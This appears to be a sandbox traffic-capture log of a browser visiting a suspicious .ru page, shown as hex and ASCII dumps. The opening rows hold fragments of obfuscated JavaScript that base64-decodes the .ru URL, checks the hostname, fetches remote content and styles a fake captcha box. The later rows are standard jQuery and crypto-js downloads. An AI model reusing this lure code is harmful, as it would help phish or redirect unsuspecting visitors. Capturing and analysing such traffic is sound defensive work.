2024-12-17 20:36:44 UTC	1369	IN	Data Raw: 65 6c 52 4d 52 45 4a 52 5a 47 78 59 52 46 68 4b 51 31 5a 48 54 55 4e 58 52 56 5a 4c 52 31 5a 49 56 31 4e 61 55 6c 52 58 54 45 52 44 57 56 68 4e 53 56 6c 56 52 6b 39 57 52 30 74 45 56 6b 6c 50 53 30 56 43 51 6c 64 48 52 31 46 43 54 6c 42 4c 52 46 68 4a 4a 79 77 67 65 77 30 4b 49 43 41 67 49 47 31 6c 64 47 68 76 5a 44 6f 67 49 6b 64 46 56 43 49 73 44 51 6f 67 49 43 41 67 66 53 6b 75 64 47 68 6c 62 69 68 79 5a 58 4e 77 62 32 35 7a 5a 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 63 6d 56 30 64 58 4a 75 49 48 4a 6c 63 33 42 76 62 6e 4e 6c 4c 6e 52 6c 65 48 51 6f 4b 51 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 64 47 56 34 64 43 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 61 57 59 6f 64 47 56 34 64 43 41 39 50 53 41 77 4b 58 73 4e 43 69 41 67 49 43 42 Data Ascii: elRMREJRZGxYRFhKQ1ZHTUNXRVZLR1ZIV1NaUlRXTERDWVhNSVlVRk9WR0tEVklPS0VCQldHR1FCTlBLRFhJJywgew0KICAgIG1ldGhvZDogIkdFVCIsDQogICAgfSkudGhlbihyZXNwb25zZSA9PiB7DQogICAgcmV0dXJuIHJlc3BvbnNlLnRleHQoKQ0KICAgIH0pLnRoZW4odGV4dCA9PiB7DQogICAgaWYodGV4dCA9PSAwKXsNCiAgICB
2024-12-17 20:36:44 UTC	371	IN	Data Raw: 3d 22 29 20 21 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 63 6f 6e 73 74 20 71 77 64 46 50 41 70 75 61 56 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 63 6f 6e 73 74 20 51 42 57 56 70 4c 4f 75 66 65 20 3d 20 6e 65 77 20 55 52 4c 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 56 62 31 46 77 4c 6d 5a 76 59 57 52 70 62 6d 56 34 5a 58 49 75 63 6e 55 76 53 32 74 33 4e 58 49 7a 4c 77 3d 3d 22 29 29 3b 0d 0a 63 6f 6e 73 74 20 75 4f 69 42 4f 51 4f 65 61 57 20 3d 20 51 42 57 56 70 4c 4f 75 66 65 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 71 77 64 46 50 41 70 75 61 56 20 3f 20 51 42 57 56 70 4c 4f 75 66 65 2e 68 6f 73 Data Ascii: =") !== "nomatch"){const qwdFPApuaV = window.location.hostname.split('.').slice(-2).join('.');const QBWVpLOufe = new URL(atob("aHR0cHM6Ly9Vb1FwLmZvYWRpbmV4ZXIucnUvS2t3NXIzLw=="));const uOiBOQOeaW = QBWVpLOufe.hostname === qwdFPApuaV ? QBWVpLOufe.hos
2024-12-17 20:36:44 UTC	1369	IN	Data Raw: 32 64 32 34 0d 0a 20 6c 6f 73 73 20 6f 66 20 65 6e 74 68 75 73 69 61 73 6d 2e 20 2a 2f 0d 0a 69 66 28 75 4f 69 42 4f 51 4f 65 61 57 20 3d 3d 20 71 77 64 46 50 41 70 75 61 56 29 7b 0d 0a 63 6f 6e 73 74 20 4c 4e 49 55 4e 67 61 78 50 53 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 73 70 6c 69 74 28 27 25 32 33 27 29 5b 30 5d 2e 73 70 6c 69 74 28 27 25 33 46 27 29 5b 30 5d 3b 0d 0a 69 66 20 28 51 42 57 56 70 4c 4f 75 66 65 2e 70 61 74 68 6e 61 6d 65 2e 65 6e 64 73 57 69 74 68 28 27 2f 27 29 29 20 7b 0d 0a 51 42 57 56 70 4c 4f 75 66 65 2e 70 61 74 68 6e 61 6d 65 20 3d 20 51 42 57 56 70 4c 4f 75 66 65 2e 70 61 74 68 6e 61 6d 65 2e 73 6c 69 63 65 28 30 2c 20 2d 31 29 3b 0d 0a 7d 0d 0a 63 6f 6e 73 74 20 45 65 6e 42 73 47 58 Data Ascii: 2d24 loss of enthusiasm. */if(uOiBOQOeaW == qwdFPApuaV){const LNIUNgaxPS = window.location.pathname.split('%23')[0].split('%3F')[0];if (QBWVpLOufe.pathname.endsWith('/')) {QBWVpLOufe.pathname = QBWVpLOufe.pathname.slice(0, -1);}const EenBsGX
2024-12-17 20:36:44 UTC	1369	IN	Data Raw: 62 57 56 6b 61 57 45 67 4b 47 31 70 62 69 31 33 61 57 52 30 61 44 6f 78 4d 6a 41 77 63 48 67 70 65 77 30 4b 49 30 52 5a 55 6b 4e 68 54 32 31 4b 55 6e 51 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 52 46 6c 53 51 32 46 50 62 55 70 53 64 43 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 30 52 5a 55 6b 4e 68 54 32 31 4b 55 6e 51 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4f 54 56 77 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 Data Ascii: bWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI0RZUkNhT21KUnQgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojRFlSQ2FPbUpSdCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0RZUkNhT21KUnQuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogOTVweDsvKndpZHRoOiAxMDAlOyovcGF

Timestamp	Bytes transferred	Direction	Data
2024-12-17 20:36:45 UTC	624	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://uoqp.foadinexer.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 20:36:46 UTC	615	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 17 Dec 2024 20:36:45 GMT Age: 2989338 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740030-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 327 X-Timer: S1734467806.981577,VS0,VE0 Vary: Accept-Encoding
2024-12-17 20:36:46 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-17 20:36:46 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-12-17 20:36:46 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-12-17 20:36:46 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-12-17 20:36:46 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-12-17 20:36:46 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-12-17 20:36:46 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-12-17 20:36:46 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-12-17 20:36:46 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-12-17 20:36:46 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2024-12-17 20:36:45 UTC	652	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://uoqp.foadinexer.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 20:36:46 UTC	956	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 20:36:45 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 527052 Expires: Sun, 07 Dec 2025 20:36:45 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qJWnqxhMk4IXyBwz5DxoMJAGnn0UJa0bBEOswRUizAItLchpwNEOmxxboUW8c4CJsitytjKZ0d0c6YIxGqDdMflka5kntTowJp46jA1lvOLyIECfpBUnMLQ8%2FD4hRm7C1%2Btd81af"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f39b50b6e9942df-EWR alt-svc: h3=":443"; ma=86400
2024-12-17 20:36:46 UTC	413	IN	Data Raw: 33 39 37 36 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 3976!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-17 20:36:46 UTC	1369	IN	Data Raw: 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 Data Ascii: lobalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create
2024-12-17 20:36:46 UTC	1369	IN	Data Raw: 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 